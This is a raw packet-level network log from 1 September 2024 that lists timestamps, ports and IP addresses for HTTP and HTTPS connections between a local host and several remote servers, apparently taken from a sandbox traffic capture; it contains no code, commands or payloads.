Sep 1, 2024 01:30:11.981180906 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981192112 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981200933 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981209040 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981210947 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981220961 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981230974 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981241941 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981251001 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981251001 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981251001 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981261015 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981271029 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981272936 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981281042 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981291056 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981301069 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981306076 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981306076 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981319904 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981332064 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981337070 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981343031 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981353045 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981358051 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981364012 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981374025 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981383085 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981383085 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981393099 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981410027 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981420994 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981427908 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981431961 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981441975 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981450081 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981451035 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981461048 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981467962 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981472015 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981482029 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981486082 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981493950 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981501102 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981528044 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981545925 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981549025 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981559992 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981570005 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981580019 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981587887 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981596947 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981606960 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981606960 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981616020 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981623888 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981626034 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981636047 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981646061 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981656075 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981664896 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981673956 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981674910 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981684923 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981695890 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981698036 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981720924 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981736898 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981750011 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981760979 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981770039 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981779099 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981790066 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981791019 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981798887 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981810093 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981810093 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981818914 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981827974 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981829882 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981838942 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981864929 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981883049 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981884003 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981894016 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981904030 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981914043 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981923103 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981930017 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981933117 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981944084 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981951952 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981952906 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981964111 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981973886 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981980085 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981988907 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981998920 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.982007980 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.982007980 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.982023001 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.982028008 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.982038021 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.982048035 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.982048035 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.982057095 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.982064962 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.982067108 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.982076883 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.982086897 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.982094049 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.982096910 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.982106924 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.982135057 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.982135057 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:12.802027941 CEST	49717	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:12.802422047 CEST	49719	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:12.806093931 CEST	49716	80	192.168.2.5	185.215.113.100
Sep 1, 2024 01:30:12.807246923 CEST	80	49717	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:12.807306051 CEST	80	49719	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:12.807368994 CEST	49717	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:12.807399035 CEST	49719	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:12.826718092 CEST	49719	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:12.831573963 CEST	80	49719	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:13.565071106 CEST	80	49719	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:13.566870928 CEST	49719	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:14.269845963 CEST	49719	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:14.271023989 CEST	49720	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:14.275367022 CEST	80	49719	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:14.275427103 CEST	49719	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:14.275850058 CEST	80	49720	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:14.275924921 CEST	49720	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:14.304709911 CEST	49720	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:14.309581041 CEST	80	49720	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:15.017096996 CEST	80	49720	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:15.017174959 CEST	49720	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:15.283771038 CEST	49720	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:15.288711071 CEST	80	49720	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:15.529829025 CEST	80	49720	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:15.532805920 CEST	49720	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:15.939677954 CEST	49720	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:15.940007925 CEST	49727	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:15.944772005 CEST	80	49720	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:15.944797993 CEST	80	49727	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:15.944830894 CEST	49720	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:15.944876909 CEST	49727	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:15.949024916 CEST	49727	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:15.953777075 CEST	80	49727	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:16.699892998 CEST	80	49727	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:16.699963093 CEST	49727	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:16.705703974 CEST	49727	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:16.710727930 CEST	80	49727	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:16.951427937 CEST	80	49727	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:16.951512098 CEST	49727	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:17.060148954 CEST	49727	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:17.060369968 CEST	49732	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:17.065181971 CEST	80	49732	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:17.065196991 CEST	80	49727	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:17.065505981 CEST	49727	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:17.065516949 CEST	49732	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:17.065654993 CEST	49732	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:17.070394993 CEST	80	49732	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:17.094291925 CEST	49733	80	192.168.2.5	185.215.113.100
Sep 1, 2024 01:30:17.099145889 CEST	80	49733	185.215.113.100	192.168.2.5
Sep 1, 2024 01:30:17.099221945 CEST	49733	80	192.168.2.5	185.215.113.100
Sep 1, 2024 01:30:17.099374056 CEST	49733	80	192.168.2.5	185.215.113.100
Sep 1, 2024 01:30:17.104113102 CEST	80	49733	185.215.113.100	192.168.2.5
Sep 1, 2024 01:30:17.833738089 CEST	80	49732	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:17.833798885 CEST	49732	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:17.835131884 CEST	49732	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:17.839900970 CEST	80	49732	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:17.858433008 CEST	80	49733	185.215.113.100	192.168.2.5
Sep 1, 2024 01:30:17.858480930 CEST	49733	80	192.168.2.5	185.215.113.100
Sep 1, 2024 01:30:17.863852978 CEST	49733	80	192.168.2.5	185.215.113.100
Sep 1, 2024 01:30:17.869141102 CEST	80	49733	185.215.113.100	192.168.2.5
Sep 1, 2024 01:30:18.086903095 CEST	80	49732	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:18.086961985 CEST	49732	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:18.118992090 CEST	80	49733	185.215.113.100	192.168.2.5
Sep 1, 2024 01:30:18.119044065 CEST	49733	80	192.168.2.5	185.215.113.100
Sep 1, 2024 01:30:18.199125051 CEST	49732	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:18.199383020 CEST	49740	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:18.204174042 CEST	80	49732	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:18.204186916 CEST	80	49740	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:18.204251051 CEST	49732	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:18.204286098 CEST	49740	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:18.210007906 CEST	49740	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:18.214756966 CEST	80	49740	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:18.944920063 CEST	80	49740	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:18.945398092 CEST	49740	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:19.047310114 CEST	49740	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:19.052069902 CEST	80	49740	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:19.073375940 CEST	49743	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.073482037 CEST	443	49743	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.073585033 CEST	49743	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.073712111 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.073744059 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.073908091 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.074100971 CEST	49743	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.074139118 CEST	443	49743	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.074608088 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.074620008 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.293776989 CEST	80	49740	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:19.293872118 CEST	49740	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:19.433306932 CEST	49740	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:19.433706999 CEST	49747	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:19.438425064 CEST	80	49740	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:19.438486099 CEST	49740	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:19.438488960 CEST	80	49747	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:19.438568115 CEST	49747	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:19.438733101 CEST	49747	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:19.443897963 CEST	80	49747	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:19.667365074 CEST	49752	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:19.667407990 CEST	443	49752	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:19.667557955 CEST	49752	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:19.667748928 CEST	49753	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:19.667757034 CEST	443	49753	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:19.667814016 CEST	49753	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:19.668013096 CEST	49752	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:19.668035984 CEST	443	49752	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:19.668220043 CEST	49753	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:19.668227911 CEST	443	49753	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:19.672080040 CEST	49754	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:19.672100067 CEST	443	49754	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:19.672168016 CEST	49754	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:19.672434092 CEST	49754	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:19.672446012 CEST	443	49754	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:19.672837019 CEST	49755	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:19.672846079 CEST	443	49755	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:19.672944069 CEST	49755	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:19.673110962 CEST	49755	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:19.673120022 CEST	443	49755	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:19.731475115 CEST	49756	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:19.731528044 CEST	443	49756	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:19.731589079 CEST	49756	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:19.732557058 CEST	49756	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:19.732569933 CEST	443	49756	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:19.746624947 CEST	443	49743	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.746910095 CEST	49743	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.746923923 CEST	443	49743	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.747878075 CEST	443	49743	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.747926950 CEST	49743	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.749145985 CEST	49743	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.749335051 CEST	49743	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.749340057 CEST	443	49743	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.749470949 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.749572039 CEST	443	49743	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.749687910 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.749701977 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.750555992 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.750616074 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.750912905 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.750965118 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.751157999 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.751164913 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.807604074 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.822606087 CEST	49743	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.822621107 CEST	443	49743	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.849555969 CEST	443	49743	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.849565983 CEST	443	49743	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.849602938 CEST	443	49743	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.849620104 CEST	443	49743	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.849641085 CEST	49743	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.849648952 CEST	443	49743	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.849656105 CEST	443	49743	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.849663973 CEST	49743	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.849693060 CEST	49743	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.849786043 CEST	443	49743	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.849831104 CEST	443	49743	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.849877119 CEST	49743	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.857420921 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.857438087 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.857444048 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.857469082 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.857481003 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.857485056 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.857492924 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.857522011 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.857537031 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.857564926 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.865005016 CEST	49743	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.865027905 CEST	443	49743	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.948781967 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.948797941 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.948848009 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.948868990 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.948889971 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.948921919 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.950447083 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.950462103 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.950522900 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:19.950531960 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:19.950589895 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:20.040657043 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:20.040679932 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:20.040718079 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:20.040760994 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:20.040776014 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:20.040786982 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:20.040805101 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:20.040838957 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:20.042037010 CEST	49744	443	192.168.2.5	13.107.246.60
Sep 1, 2024 01:30:20.042047977 CEST	443	49744	13.107.246.60	192.168.2.5
Sep 1, 2024 01:30:20.134363890 CEST	443	49752	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.134537935 CEST	49752	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.134551048 CEST	443	49752	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.135051012 CEST	443	49753	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:20.135452032 CEST	443	49752	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.135504961 CEST	49752	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.135986090 CEST	49753	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:20.135993004 CEST	443	49753	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:20.136955976 CEST	443	49754	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:20.137029886 CEST	49752	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.137062073 CEST	443	49753	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:20.137094975 CEST	443	49752	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.137118101 CEST	49753	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:20.137187004 CEST	49754	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:20.137193918 CEST	443	49754	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:20.137367964 CEST	49752	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.137377024 CEST	443	49752	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.138108969 CEST	49753	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:20.138168097 CEST	443	49753	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:20.138320923 CEST	49753	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:20.138326883 CEST	443	49753	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:20.138624907 CEST	443	49754	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:20.138690948 CEST	49754	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:20.138832092 CEST	443	49755	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.139235973 CEST	49755	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.139245033 CEST	443	49755	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.139622927 CEST	49754	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:20.139698029 CEST	443	49754	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:20.139986992 CEST	49754	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:20.139995098 CEST	443	49754	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:20.140325069 CEST	443	49755	162.159.61.3	192.168.2.5
